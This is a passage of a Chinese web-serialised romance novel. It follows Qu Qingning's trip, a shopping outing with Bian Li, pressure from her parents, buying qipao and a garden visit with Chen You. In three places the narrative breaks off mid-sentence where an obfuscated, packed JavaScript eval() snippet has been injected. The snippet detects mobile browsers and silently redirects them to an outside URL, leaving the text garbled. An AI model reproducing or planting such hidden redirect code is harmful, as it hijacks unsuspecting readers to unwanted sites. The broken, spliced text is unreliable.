他没撑伞,浑身早就被雨水打湿。完全没有了平日里整洁干净的模样,和她一样狼狈。
他们隔着几米远,在雨中对视。
曲清宁竟然在那平日里都波澜不惊的冷淡声音里听出了慌张。
边理哥哥好像很担心我……
她脑海中很短暂地冒出这样的念头。
没给她反应的机会,边理一边轻喘着气,一边朝她走来。
在喊了一声她的名字之后,他便没再说话,只仔仔细细地打量了她。
从小被父母说惯了,被这么看着,曲清宁下意识地想要先承认自己的错误,只是她还没开口,边理就握住了她的手。
“没有受伤,冷不冷?”他很温柔地问。
像是没听懂话一样,曲清宁眨巴着葡萄大的眼睛看他,很久才摇了摇头。
“不冷啊。”她机械般地回应,前不久的紧张害怕情绪不知道什么时候已经消散不见了。
边理哥哥不喜欢和人亲密接触。
曲清宁以为回答完了这句,他会放开手,但边理却仍旧紧紧地握着她,一直到回了家。
所幸,那次只有边理找到了她。
而现在,此刻。
曲清宁已经不是那个遇见事情只会慌乱的小女孩了。
就算迷路,她也可以打车回家,或者定位过去,只不过七绕八绕,要多花点时间罢了。
她想这么回答边理,然而动了动嘴唇,却说不出来。
曲清宁清晰地看见,他镜片后的眼睫很长,垂下和她对视时,眼眸依旧清亮。
“走吧。”
-
曲清宁没进旗袍店,而是逛了一些当地的古着古玩铺子。
她不想在边理面前换衣服,不管好不好看,都会让她觉得紧张拘谨。
而古玩店人多,东西也多样,不会让人无聊。
一进门,她很快就和边理分开了距离。
“边理哥,我可能要在这里面逛很久,你要是有什么事,直接走就好了,我没关系的。”
她又重复了遍,心想这次边理总该懂她的意思了吧。
边理看了看她,点了下头。
得到应答,曲清宁很快挤进了人群。
她从小就对稀奇的东西感兴趣,像是孤品、手工制作的或者是有地域特色的物件,家里都有不少。
而边理对这些都没什么感觉。
所以曲清宁笃定,没一会儿,他就会说有事要离开了。
这么一想,曲清宁安心地看了起来。
这家店确实挺大的,楼上楼下分了两层。一楼是些小物件,楼上似乎是卖古着的,从楼梯上看去,还能瞥见一些精致华丽的礼裙。
尽管心里早就有了预期,开在商业街的店,装修又豪华,东西价格肯定不会便宜。
但曲清宁没想到自己随便拿的一条项链,一打听问价,都要五六百。
员工和她推销:“吊坠是天然石的,孔雀蓝的颜色,很漂亮的,又显白,和很多裙子都特别搭。”
见她隐隐心动,员工加大力度:“而且是孤品哦。”
这句话已经是每家古玩店的经典推销话术了。
曲清宁希望她没说假话,别回头上购物软件上一搜,全是同款。
“谢谢,我再看看。”
五六百的价格还是太贵了,但吊坠的颜色确实好看,一眼就吸引了曲清宁的注意力。
她又找了看起来像是配套的手链、耳环。
不过问价之后,都彻底死心了。店里似乎根本就没有低于两百的东西。
并非舍不得花钱,只是这些在曲清宁心中的价值还没达到这个数。
兜兜转转,她最后挑了几个可爱的戒指和小摆件。
在准备去结账的路上,曲清宁又不动声色地往门口瞥了瞥,确认边理不在后,才堪堪松了口气。
他果然走了。
这应该是值得高兴的,然而曲清宁不知怎么的又有些失落。
这样矛盾的心态也不是一两次了,每次碰到边理都会有。她没办法强迫自己一下子去改变适应过来,只得努力转移自己的注意力到手上的东西上。
至少买到了好看的东西嘛。
这么想着,曲清宁平静地径直走向收银台。
就在她即将排在那条长队后面时,突然有一道声音从头顶落下。
“这些就够了?”
清冷的语调仿佛就在耳旁,曲清宁愣了一秒,很快地回过了头。
毫无征兆地对上边理的视线。
他不知什么时候站在了自己身后。
门外艳阳高照,兴许是有些热了,边理脱了外套,搭在手臂上,露出了内里黑色的高领毛衣,袖口被挽上去一节。
毛衣是偏紧身的,有点松,但还是能勾勒出身形,宽肩,腰肢劲瘦,隐约可见其下被遮盖着的身体力量。
衣摆被扎进黑色的皮带,再往下是包裹在灰色西裤里的紧实修长的双腿。
边理的日常穿搭是黑白灰为主,不会有多余的颜色。
他其实并不瘦,甚至体型算是偏结实的,只是日常穿衣服被遮掩了,又是白净斯文的长相,所以看不出来。
曲清宁也没看出来。
现在边理站到了她旁边,她才意识到这点。
他伸手过来,手腕上戴了一款简约的石英表,手臂看起来比她两只加起来还要大,一只手似乎就可以包裹住她的腰。
“这几个刚刚不是也看了很久?一起买了吧,我付钱。”
他靠近了,曲清宁还没从他身上很淡的香水味中缓过来,销售员已经迫不及待地帮忙把几样东西都拿上了。
边理离着她不到半米的距离,但凡再近一步,就几乎要碰到曲清宁的后背。
然而他专注着看店员扫码,丝毫没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372144|199965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
察觉这点,也没注意到从他走过来后,曲清宁就已经一动没动了。
瞥见另外一边有一堆整齐的纸袋,像是定制设计的,看着也精致,不少来购物的女生都选了那款,边理多说了句:“麻烦包装一下,选这个袋子吧。”
店员红着脸,有点不敢看边理,拿起一个印着店logo的白纸袋,温声细语地询问:“我们一般是提供这种普通包装哦,那边的是礼品款式,需要额外付费的,您可以接受吗?”
“可以。”
边理直接扫码付了款,挑了个曲清宁最喜欢的浅紫色手提袋,上面印着各种玩偶图案。
“好的,账单帮你放在购物袋里了。消费满三千可以在这边选取一个赠品哦。”
赠品边理没有帮忙选了,他让她去看。
曲清宁完全是在迷糊中就随便拿了一个。
等出了门,清醒过来了,曲清宁赶紧划清关系:“不好意思边理哥,让你破费了。我把钱转给你吧。”
小时候边理给她买零食生日礼物,大了些给她选教辅资料,她以前不懂事,都会高高兴兴地收下,回礼只有一句简单的“谢谢边理哥哥”。
稍微运气好的话,曲清宁在兜里摸到了一些小零嘴,会作为回礼分享给他,只不过每次边理都会说不要罢了。
现在她哪还能那么心安理得地接受这些?
曲清宁提着那一纸袋的饰品,急切地想要等他一个回答。
边理又一次看了看她,片刻后,不易察觉地叹了一声气,抬手推了下眼镜。
他的语气依旧很温柔,但有了些无奈:“那我付钱的意义在哪?在别人面前装大款么?”
“不是!”
她根本不是这个意思啊!
曲清宁飞速否定,却也找不到更好的理由了。
“嗯,你知道就行。”边理也不习惯拐弯抹角,直言道:“你来这边,我本来也打算买礼物的。现在你自己挑了喜欢的,不是更好?”
好像是有那么一点道理。
曲清宁很快很被他说服了,后知后觉哪里有些不对劲时,边理的手机响了。
“抱歉,等我一会儿。”
对她说完,边理稍微走远了几步,接了电话。
店门口人多,曲清宁只听到他点开接通键时的那句老师。
她乖乖地站在原地等着,无意间再望过去一眼,看到的便是边理似乎是在和对面解释什么。
他脸上很少有情绪起伏,但曲清宁能感觉到事情不简单,甚至有些紧急。
想起他是博士生的身份,曲清宁这才意识到他不会和自己一样,整日游手好闲。
边理没让她等太久,半分钟之内便收了手机,到了她面前。
他依旧平淡自若地问:“再往前面走走?还有几家类似的店铺。”
只字没提其余的事。
曲清宁却是不太好意思了。
“边理哥,你要是有事的话真的不用管我,今天陪我挺久的了,而且我也走累了,有点想回去休息了。”
说着,曲清宁立即装模做样地活动了下筋骨,显得自己浑身酸痛似的。
实际上他们逛了才一个小时不到。
边理有些意外,不过看到她脚上有点高度的小皮鞋后,很快就接受了,点头道:“行,那我开车过来。”
曲清宁:“?”
反应过来他的意思,曲清宁立即拦住:“我开了曼轻姨的电瓶车,得骑回去!”
这话一出,边理也明白了深层含义,于是只把她送到了停电瓶车的地方。
走之前,边理给曲清宁发了个地址,告诉她自己家在哪。
“有什么事都可以过来找我。”
曲清宁都不敢当着他的面点开看。
因为这条地址的前一条消息,就是几年前她和边理说的那句打扰了,从此再也没联系的分隔线。
7. 第 7 章
和边理分开后,曲清宁又打开了购物袋,拿出那些饰品看了看。
这是边理买的。
送给她的。
尽管不是第一次收到他的礼物,但这次是他看着她挑的。这个举动比物品本身更让曲清宁感觉到心脏砰砰直跳。
而且边理还帮她拿了紫色的包装袋。
是还记得她喜欢什么颜色吗?
感觉到脸颊有些发烫,曲清宁用冰凉的手背贴着降了降温。
正在兴头上,她是闲不下来的,于是拐了个弯,就停下了电瓶车,来到了早上刘曼轻和她说的那一条卖旗袍的街。
往常要是只有一个人的话,曲清宁很少会来买衣服。
她不擅长拒绝别人,每次被销售员热情地说上几句,就会忍不住答应,往往买回了家,又会开始后悔。
所以她大多数时候会选择网购。
如果不得已来了实体店,那便会怀着紧张又不安的情绪——尤其是进了一家店,发现店员一直跟在自己后面时。
今天好像是她第一次这么享受线下买衣服。
从进店到挑选,她甚至还主动和店员聊上了一会儿。
选了许久,曲清宁最终看中了一款袖口带毛边的冬款旗袍,不过有两种颜色:天蓝和浅紫色。
两款都很合身,穿在身上,店员连连夸赞,她自己也觉得不错,纠结着选不出来。
曲清宁第一反应是拍个照片,让万梦帮忙抉择,但这时候万梦在上班,不好打扰。
店员又一直很热情地陪着,弄得她也不好意思直接放下。
想了想,曲清宁对着镜子拍了两张发在了家庭群里,问爸妈哪件好看。
比她想象中的要快,没出一分钟,曲母先回了她几条语音。
她下意识地以为这是给的建议,还想着如果妈妈说两条都好看,那她就一并拿下好了。
两件打折后是三百五,价格也在她的预期范围内。
在店员的注视下点开了语音,听到那边传过来一声叹息,随后才是清晰的话。
“你这是在逛街?又换地方旅游了?这两件都不便宜吧。”
曲清宁还没说价格,第二条语音开始自动播放:“我知道你身上还有点存款,看到什么都想买,但自己也要想清楚,几个月不上班了,年后再找工作又要花时间,到时候没点应急的,怎么办?”
她想说她计划好的是够用的,绝对不会找他们拿钱,然而又一次被打断。
许久没吭声的曲父这时候冒了出来:“你那个初中同学,和我们住一个小区的,人家还是个普通学校的,今年她爸妈过生日,出手就是万把块钱的红包,听说一个月工资好几万呢。”
“也不是说一定要你给家里拿钱,但你自己怎么规划,自己要有个底。爸妈供你读书不容易。”
曲清宁手里还握着这两件厚实又温暖的旗袍,漂亮干净的颜色和她冷白的肤色格外相衬。
她看到镜子里的自己,雀跃的神情都还没来得及收回。
原本准备好的措辞一个字都没有说出口。
早就知道父母会回她这一套话了,曲清宁也不清楚自己为什么还要期待他们不一样的回答。
“还需要吗?”店员看她脸上的笑容消散,问话也变得小心翼翼起来。
曲清宁笑了笑,不好意思地把衣服叠好还给了她。
“抱歉啊,暂时不需要了。”
她长得太过于明媚漂亮,随便用簪子挽了个发髻搭配就十分灵动温婉,试穿旗袍的时候店员一直在偷偷欣赏。
这时候无意间听到她和父母的交流,心里可惜着,但也十分理解。
“好的,没关系,欢迎下次光临。”
群里还在不停地弹出消息。
挑旗袍的兴致顿时全无,曲清宁随便回了好,就退了出来。
似乎在她回复完之后,父母又开始催她回家了。
空手走出了门店,曲清宁取消了下午去逛街拍照的计划,选择了回民宿躺着。
回去前她特意看了眼边理发给她的地址,绕开了要经过他家的路。
-
傍晚六点,万若素在厨房里准备晚餐,背后突然蹿出来一个人。
“阿姨,今天又做什么好吃的啊?边理呢?”
路澈一边整理头上的冷帽,一边往锅里观望。
二十出头的男生,长得好看又青春肆意,在学校被一堆人追,因此除了父母面前,在哪都注意形象。
表兄弟俩家住隔壁,路澈没事就过来串门,顺道蹭一顿饭。尤其边理回来以后,他在这边待的时间,比在自己家都要久了,没少被爸妈拧着耳朵骂。
“边理在房间里呢。今天做了挺多菜的,你爸妈呢?让他们一块儿过来吃吧。”
“得嘞。”路澈拿筷子夹了一只油焖虾扔嘴里,尝了尝,十分满意,“不过您今天怎么做这么多?我姐的生日还没到吧?”
万若素对自己妹妹的孩子和对边理别无二致,从锅里盛出一小盘让他尝,又说:“不是谁的生日。不过我以为会有客人来的。”
“什么客人?”
万若素扶了扶额,叹了口气,语气有些遗憾。
“唉,说了你也不知道,是之前没搬家前的结识的了。那小姑娘一个人来旅游的,我和她父母关系好,就想着招待一下。没想到边理刚和我说,人家有事,抽不出时间过来。”
听到这里,路澈停住了手,试探性地问:“不会是叫曲清宁吧?”
这下变成万若素好奇了:“你从哪知道的?”
路澈耸了耸肩,一脸打趣的意味,正打算和万若素分享更多细节,但还没开口,门口突然有人叫了他。
“路澈。”
就这两个字就足够让路澈心里发毛了,因为这声音他再熟悉不过,只有边理有点生气时才会这么喊他。
两个人虽然年龄相差不大,平日里嬉笑打闹,路澈也不叫他哥,但他偶尔还是挺怕惹毛边理的。
“那什么,阿姨,你忙着啊,我去叫我爸妈过来吃饭,顺便买几瓶饮料。”
话落,路澈一溜烟地跑了。
“这孩子,奇奇怪怪的。”万若素没放在心上,只当是他们表兄弟俩聊天的时候有谈到过曲清宁。
边理也没多提,一进来,就挽起了衣袖熟练地帮忙切菜。
只剩下母子俩了,万若素便问起了他一些学校里的事。
边理是她和丈夫从小带在身边,看着长大的。对待她的问话,边理也基本上是有问必答。
“学校里没什么事,不过过些天要去开个讲座。还有明年可能得早点回学校,实验进展比较赶。”
开始读博士后,边理回家的时间就更少了。今年因为边父在外出差不小心伤到了腿,得坐轮椅休养一阵子。
尽管家里有妻子照料,但忙起来的时候,还是会照顾不周全,于是边理提早完成了科研任务,和导师请了假赶回来。
不管是学业还是生活上,边理从小到大都很少让父母操心,他自己都会料理好一切。
万若素点了点头,又问起他:“那你今天下午带清宁去逛了哪?记得给人家买礼物了吧?”
“去商业街那边逛了逛,算是买了些饰品吧。”
万若素看过去:“饰品?不是说想去买旗袍的吗?我还打算把店名发给你,让你带清宁过去呢。和人买菜聊天一时间又忘记了。”
边理正切着牛排,闻言手上的动作一顿,若有所思。
万若素已经先一步说出了他心中的猜测:“买衣服要逛很久,清宁应该是不想浪费你的时间。这小姑娘是和以前不一样了哈,心思细腻了许多。不过漂亮倒是越来越漂亮了。”
提到漂亮这个词,边理脑海中一瞬间闪过曲清宁拿着那条项链在脖颈处,对着镜子比划的模样。
笑容明媚干净,眼里的碎光比吊坠折射出来的还要漂亮。
应该没买错礼物。
至于是不想浪费他的时间,还是故意在避开他,边理暂时无法判断。
万若素感慨地说:“哎呀,这么说起来,还怪怀念清宁以前每天往我们家跑的时候呢,叫你边理哥哥叫得多好听啊。”
听到这个称呼,边理也少见地愣了下。
不过转而想到下午见面时曲清宁对他的客气,边理淡淡地答了话:“妈,我已经二十六了,清宁也二十三了,如果以后碰见了,还是少提以前的事吧。”
明明是他自己提到了年龄差别,心里却莫名地涌出了异样的感觉。
边理也不清楚这感觉从何而来。
万若素倒是没想这么多,今早上碰面
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372145|199965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了也只是单纯地觉得高兴,就多说了些。现在被儿子这么一提醒,她这才忽然想起小姑娘当时似乎确实有些不自在。
“你说的也是,妈妈以后会注意的。”万若素应下声来。
在厨房帮了一会儿忙之后,边理再次接到了导师的电话,于是又匆匆回了房间。
开了电脑及时把整好了的实验数据给导师发过去后,客厅里就有人喊吃饭了。
他起身,熄了屏幕,顺道把桌上整理了一番,所有东西分门别类地放好。
就在把草稿纸的一角捋平时,门口闪过一道身影。
路澈倚靠在门上,一副吊儿郎当的神色。
“不打算和我分享一下?”
边理没管他,收拾好东西便径自下楼往客厅去。
“分享什么?”
路澈直接把手搭他肩上,扯缓了他的速度:“和我还装呢?咱们都一起生活好几年了,亲妈都一个姓呢。”
边理:“……”
“不是说那个小妹妹来我们这边玩了吗?她住哪?我替你去上门拜访一下?”
路澈就是你越理他他越来劲的性子,边理懒得多说,只面无表情地道:“别去打扰她,被我知道了,回头你分手了的秘密也将在全家人面前公开。”
路澈:“……”
这下他完全被抓住了命脉。
从小到大他就没在打嘴炮上赢过边理,路澈赶紧哄人:“我错了我错了,哥。我这不是担心你之前写信拒绝过人家,还骗小姑娘说有女朋友了。现在碰见了,彼此尴尬吗?”
那封信并非是他写的。
一开始寄过来的时候,被他的室友拿到了。室友以为是给自己的,随便扫了两眼,便写了回绝内容。
等到边理回宿舍后,才发现是曲清宁写给他的。
他从来没有想过,曲清宁会对自己有意思。
边理的第一反应是她的年纪太小,分不清什么是喜欢和崇拜。
他比她大,有时候会给她提供学习上的帮助,解答她的困惑,和她分享一些学校之外的生活,可能在一些青春期的激素和学历长相之类的滤镜光环作用下,就让她慢慢误以为了这是喜欢。
但边理从始至终都只把她当作妹妹看待。
只是信已经寄了出去,他后来想要解释,发消息给曲清宁,对面一直没回应。
直到许久之后,他才收到了曲清宁最后的回复。
她和他道歉,说自己打扰他了,还有很多不理智的做法等等,又祝他和女朋友幸福。
尽管“女朋友”一事是假,但能让曲清宁放弃喜欢他的念头,尽早走出来也是好事,于是两人之间的纠缠也就到此终止。
如若不是路澈突然提及,边理已经快要忘记了。
他瞥了眼旁边的人,冷淡道:“都多久以前的事了?有什么好尴尬的。”
边理推测曲清宁现在应该也开始后悔当初给自己写的表白情书了。
“哈哈,也是。”
嘴上这么说,路澈心里却在怀疑他这人是不是脑子坏了,不然怎么感情上的任何事都能轻易揭过。
和边理表白然后被拒的女生不少,路澈也见过许多。但稀奇的是,他每回和人再次见面还是如常,似乎那些从来没有发生过一样。
两个人一起走近了客厅。
路澈看见亲妈和万若素坐在了一块儿,正聊得火热,一猜就知道没好事。
果然下一秒,万微就发问了:“儿子,你什么时候把女朋友带回家给爸妈看看啦。”
“她没时间,我下次一定。”
脑子转得飞快,路澈找个凳子坐下,立即转移话题:“诶,妈你和阿姨聊什么呢?”
万微很快被带偏:“哦哦,我和你阿姨说去爬山的时候碰到个小姑娘,年纪长相什么的都和小理很相配呢,可惜没要到联系方式,不然肯定帮她和你表哥牵牵线。这事我之前和小理也说了。”
“那你别操心了。”
路澈往后靠在椅背上,双手枕着后脑勺,懒洋洋地回她说:“除非月老下凡,不然他这辈子应该都找不到女朋友了。”
他一说完,边理只手推了下眼镜,也开了口,语气淡淡:“小姨,我其实也有件事想和您说。”
路澈立即坐直了,给他做了个跪下来求他的手势。
8. 第 8 章
午后的阳光是温暖的。
曲清宁喜欢冬天的太阳,即便是以前在工作的时候,也要找时间出来晒晒,现在在外旅游,时间自由了,却反而没了心情。
从旗袍店出来后,她没骑电瓶车了,漫无目的地走在街上,过了会儿,有些累了,便直接找了个路边的石凳坐下。
石凳紧挨着一棵柳树的,旁边就是河流。
她往四周看了看,嬉笑打闹的小孩,站在门口交谈的大人,一派祥和温馨的场景。
为什么辞职之后不回家,选择出来旅游?
这个问题父母也问过她很多遍。
无论她用什么话回答,两口子最后总会归结到两件事上:一是和她诉苦说父母不容易,期待她有出息,能出人头地;二是和她说起别人家的儿女,一个月能挣多少,往家里又寄多少。
这些话本来也没什么,她听得次数很多了,但曲清宁也不知道今天怎么回事,突然有点厌倦起来。
自从几岁时进入学校,她的成绩就一直很好,从年纪前几到考入名牌大学,从来没让父母操心过,两口子也一直很满意。
然而上了大学之后,她和父母之间的相处模式似乎就有了变化。
他们经常在她耳边提起身边的谁家孩子,在大学里也不用父母负担费用,靠兼职实习就赚钱,偶尔还会拿钱给父母。
曲清宁一天的课程都很满,只能偶尔抽空去兼职,赚的也只够补贴一点生活费。
后来到了大二,寒暑假可以找到实习了,再加上拿了一些奖学金,她这才开始有富余的钱,偶尔给父母买点礼物或是带他们出去旅游什么的。
不过从那时候起,她要是想和父母借一些钱应急,他们虽然会给,但话语间少不了埋怨。
再之后,保研出了点事,失败了。她想考研,父母不支持,勒令她去找工作,曲清宁照做了。
每天平均睡眠五六个小时,周末也得处理工作回复消息,压力大的时候睡不着觉彻夜失眠,入职的第一年就把自己的身体折腾出了各种毛病。
她这一年每个月发了工资都会转几千块给父母,希望能够成为他们眼中合格的孩子,不用再从父母口中听到和其他人的比较。
不过这事似乎是无止境的,父母总能找出她不如别人的地方。
后来曲清宁实在受不住了,说想辞职放松一段时间,他们却问她怎么别人都承受得住,就她被这点压力击垮了。
是啊,可能她本来就不是多有意志力的人吧。
不然怎么买件衣服,被父母说了一两句就兴致全无了。
不知道在石凳上坐了多久,感觉到空气逐渐变冷了,曲清宁才拿手机出来看时间。
一个没注意,手肘蹭到了旁边的袋子,刚买的饰品都掉了出来。
装项链的首饰盒扑簌扑簌地滚落了几下,停在了石子路中间。
一只戴着玉镯的手伸过去,帮她捡了起来。
曲清宁正想说谢谢,对方却先开了口:“怎么一个人在这儿坐着?我刚抱着孙女逛了一圈就看到你了——挑到合适的旗袍了吗?”
刘曼轻依旧是早上的那身装扮,不过这时候黄昏的余晖照在她脸上,笑容显得格外温柔。
她的温声细语好似一点点驱散了曲清宁独自坐在石板凳上的寒凉。
一时半会儿没能从刚才的心境中脱离出来,曲清宁突然间忘了该说点什么。
半响,她才攥了攥手,摇头挤出一抹笑,说:“没看到。”
“怎么可能?”刘曼轻直接绕着她看了一圈,又诧异地说,“就你这身材,还挑不到合适的?是不是就去了一两家店,随便看了两眼呀?”
一开始她也是在认真挑的。
要不是父母的那几句语音,她也不会这么轻易放弃,尽做些无用功。
被这么热情关切地问起,曲清宁不好把实情透露出去,只好顺着她的话应下。
“那你要是不嫌弃,我陪你一起去逛怎么样?”
刘曼轻乐呵呵地揽下活,又细心地问:“是因为今天和边理在一块儿,觉得不好意思吧?”
曲清宁没说是,刘曼轻也没追问,只在她答应后,很快就挽上了她的手,又带着她走回了集市的那条街。
两个人走在路上,还被人误以为是母女,曲清宁不好回话,刘曼轻倒是自在地回应:“要真是就好咯。”
她对曲清宁是非常满意的。
傍晚的街道也依旧热闹。
这条街的旗袍店少说也有十家,原本刘曼轻是想带曲清宁去一家老熟人的店,想着可以靠关系要点折扣,让她便宜买下。
只是走到半路,在她和镇上的熟人打招呼时,曲清宁的目光似乎在一家店门口停留了片刻。
刘曼轻眼尖,很快发现了这点,问她道:“这家店瞧着不错,进去看看?”
曲清宁愣了下,也没想到刘曼轻恰好就问了她前不久进去的这家。
那两条旗袍是好看,她也喜欢,只是父母的话忽地又在耳边响起,她又有些踌躇。
要进去吗?
这算不算是不听她爸妈的话了?
在她纠结的这一时片刻,刘曼轻已经推了门进去,开始和老板打起了招呼。
“哎呀,好久不见啊,最近生意怎么样?”
刘曼轻热络地走在前头,回头又对曲清宁招了招手。
这下是不得不进去了。
于是刘曼轻在前头和老板寒暄,曲清宁就在店里四处转悠。
很快她又走到了之前看的那两件旗袍面前。
再看几眼,还是觉得满意。
瞥到有人过来了,曲清宁拿起来衣袖来,装作看布料似的瞧瞧。
店员热情地走到旁边,想要推销,结果打眼一看,一眼便认出了是刚才来过的那位,不由得惊讶道:“诶,刚刚也是你对吧?”
曲清宁:“……”
她都差点忘了,才隔了一两个小时,人家还拿过衣服给她试,不可能这么快就不记得自己。
“哈哈……是啊。”曲清宁尴尬地笑了笑。
她正想着怎么如何应对这一句,刘曼轻走了过来,替她接过了话。
“是咯是咯,我刚刚带她去了好几家店,都没进门看的,直接就来了你们家,看得出来小姑娘有多喜欢这儿的旗袍吧?特意绕路走过来的,这不得便宜点?”
原来还能这么说?
曲清宁不由得向刘曼轻投去了崇拜的眼神。
刘曼轻笑了笑,揽着她的肩膀,又看向老板:“经常来你这儿买衣服,我第一次带小姑娘来。这次进货价给行吧?就算卖我个面子。”
都是当老板的,哪能不懂这些话?何况刘曼轻实在说得舒坦,老板也觉得这旗袍穿在曲清宁身上好看。
也就这么两三句,老板就松口了。
“行,你都这么说了,我还能不卖这个人情不成?不过回头妹妹穿旗袍被人问是从哪买的了,可得帮我打个招牌,宣传宣传啊。”
说罢,老板便直接让店员把她看中的那两件一并那些,细心叠好包装好,价格则直接打了个七折。
这次没让刘曼轻替她说话,曲清宁自己应了下来。
出了门,曲清宁原本低落的心情已经一扫而空。
她直接对刘曼轻表达了自己的佩服:“曼轻姨你真的太厉害了!要不是你根本不可能这个价买下来吧?”
刘曼轻撩了下自己的大波浪卷发,笑着回复:“一些话术而已,你要是做生意做多了,肯定也会的。”
看她和小孩似的一样惊喜,打开纸袋摸着里面的旗袍看了又看,刘曼轻给出提议:“要不然现在就换上?去拍照,今天天气正好呢。”
-
在穿衣打扮这方面,曲清宁还是孩童时的心态。每次拿到了新的,尤其是喜欢的,总会想着找机会穿上。
她原本的计划是直接回民宿躺着,但被刘曼轻建议后,她又改了路线,选择去了就近的一处园林。
那儿是穿旗袍拍照的绝佳之地,不少游客都慕名而来。
只可惜刘曼轻因为要照顾孙女,不得不回去,没办法同她一起。
不过曲清宁没想到,刚到园林,就碰上了陈佑。
经过了那一顿饭,两个人算是认识了,但毕竟是异性,再次见面,曲清宁也没表现得多热切,就客气地打了个招呼。
反而是陈佑快步向她走了过来,十分欣喜地说:“你也来这儿逛啊?一个人吗?”
和陈佑相处,比起和边理,总算是要自在许多。
曲清宁点点头,道:“对。你呢?今天妆造店不上班吗?”
“上啊,打工人怎么可能不上班。不过今天我妹放寒假了,我打算去机场接她回家,就请了半天假。”
陈佑解释着说:“这时间还没到呢,我就先到处瞎转转。”
听着他的话,曲清宁也回忆起了那天喝的苹果茶,想起他的确有一个还在读大学的妹妹。
“既然碰到了,那就一起咯。”
多了个同伴也算有了个聊天的,陈佑健谈,两个人也有共同话题,聊得来。
曲清宁没拒绝。
一同进了园林,曲清宁很快被古色古香的长廊吸引了过去。
长廊一边是假山和潭水,一边是花园茂林,原本只有在电视剧和书里看过的画面此刻都在眼前清晰起来。
不同于博物馆里被展出的文物,这里的一草一木仿佛更能让人置身其中,幻想百年千年之前的生活场景。
“你是学建筑的吗?”
陈佑见她对这里的一切似乎都很感兴趣,说出了心中的猜测。
曲清宁正望着一处宅院观察,闻言笑了笑,回答说:“不是。你可以猜猜。”
陈佑:“和历史或者文学有关的?游客过来做的第一件事一般是拍照打卡,你反而在门口把介绍看完了才进来的。”
她不提,曲清宁自己都没注意到这点。这只是她个人的习惯而已。
不过习惯也是学了这个专业之后才养成的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372146|199965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“对,文物与博物馆学。”
陈佑有些羡慕:“听起来就很有趣诶。那你是做什么工作的啊?”
曲清宁顿了顿,回她说:“上一份工作和专业关系不大。”
陈佑耸了耸肩:“正常,我第一份工作还是人力资源呢。让我一个学金融的去搞招聘,后来遇到的奇葩太多,干脆辞职回家帮家里干活算了。”
他深有感触:“人还是得做点自己喜欢的事。不然上了一天班,回家连上吊的力气都没有了。”
曲清宁再赞同不过。
两个人边走边说话,陈佑对她的专业好奇,偶尔还会深问几个问题。
不过他也都是随便提的,但没想到曲清宁对待每个问题都很认真,甚至回答完了之后,过了许久突然想起来点什么,又会兴致勃勃地和他补充。
仔仔细细地把园林逛了个遍,曲清宁把它的历史、建筑特点等等都了解了个大概之后,又拍照留念了一番,悉数存档到了有专门分类的相册簿里。
等到了逛完了整个园林,她才想起来自己来这里的目的。
站在门口,曲清宁抬手叫住了陈佑:“诶,陈佑,能帮我拍张照吗?”
陈佑看了看天色,有些疑惑:“可以啊,不过现在吗?好像有点晚了吧,要不哪天找个时间再来?”
曲清宁倒是不在意:“不用啦,就今天吧。下次我可能就没那个心情穿旗袍了。”
听到她这么说,陈佑才把视线挪到了她身上。
“你穿了旗袍?”他脸上震惊的神色丝毫不掩饰,“我刚刚怎么都没发现?”
曲清宁:“……”
陈佑立即道歉:“抱歉抱歉,我这人不太关注别人的变化。”
曲清宁:“嗯嗯,看得出来。”
陈佑:“…………”
好好好,他现在还知道了。
人和人之间还是保持点距离才是最美的。
可能是因为有在妆造店的工作经验,耳濡目染,陈佑的摄影技术还算不错,拍了好几张让曲清宁满意的照片。
出了园林,两个人又同路走了一段路程。
直到曲清宁看见了前不久去过的那家妆造店的招牌。
尽管误会已经解开,但曲清宁还是不太想遇见这家店的老板,毕竟她之前还在微信上对说了再发消息过来就投诉。
消息过了时效,也没办法撤回。
她迅速止住脚步,正要对陈佑说自己要往别的地方去了,对方却先开了口。
“这么巧,走着走着,又到上班的地方来了。”
陈佑瞥了瞥曲清宁,装作不经意地问:“你要去看看不?说不定边理哥在里面。”
边理?
边理为什么会在这里?
“什么意思。”曲清宁有点懵,“他家不住这儿吧。”
说这话的时候,她脑袋里忽然联想到一些事情,心脏也跟着咚咚跳了两下。
陈佑还没意识到问题的严重性,点点头说:“对,他家不在这里,但这是万阿姨开的店。边理哥有时候会过来帮忙,你不知道吗?”
她知道?
她知道就不会往这边走了!
曲清宁哪会想到这家妆造店是万若素开的。
犹如晴天霹雳一般,曲清宁好一会儿才从嘴里憋出几个字。
“原、原来是这样啊。”
脑海里瞬间飘过她那天发给老板的那些话。
——再发消息过来,我直接投诉了哈。
——再发消息过来,我直接投诉了!
——我直接投诉!
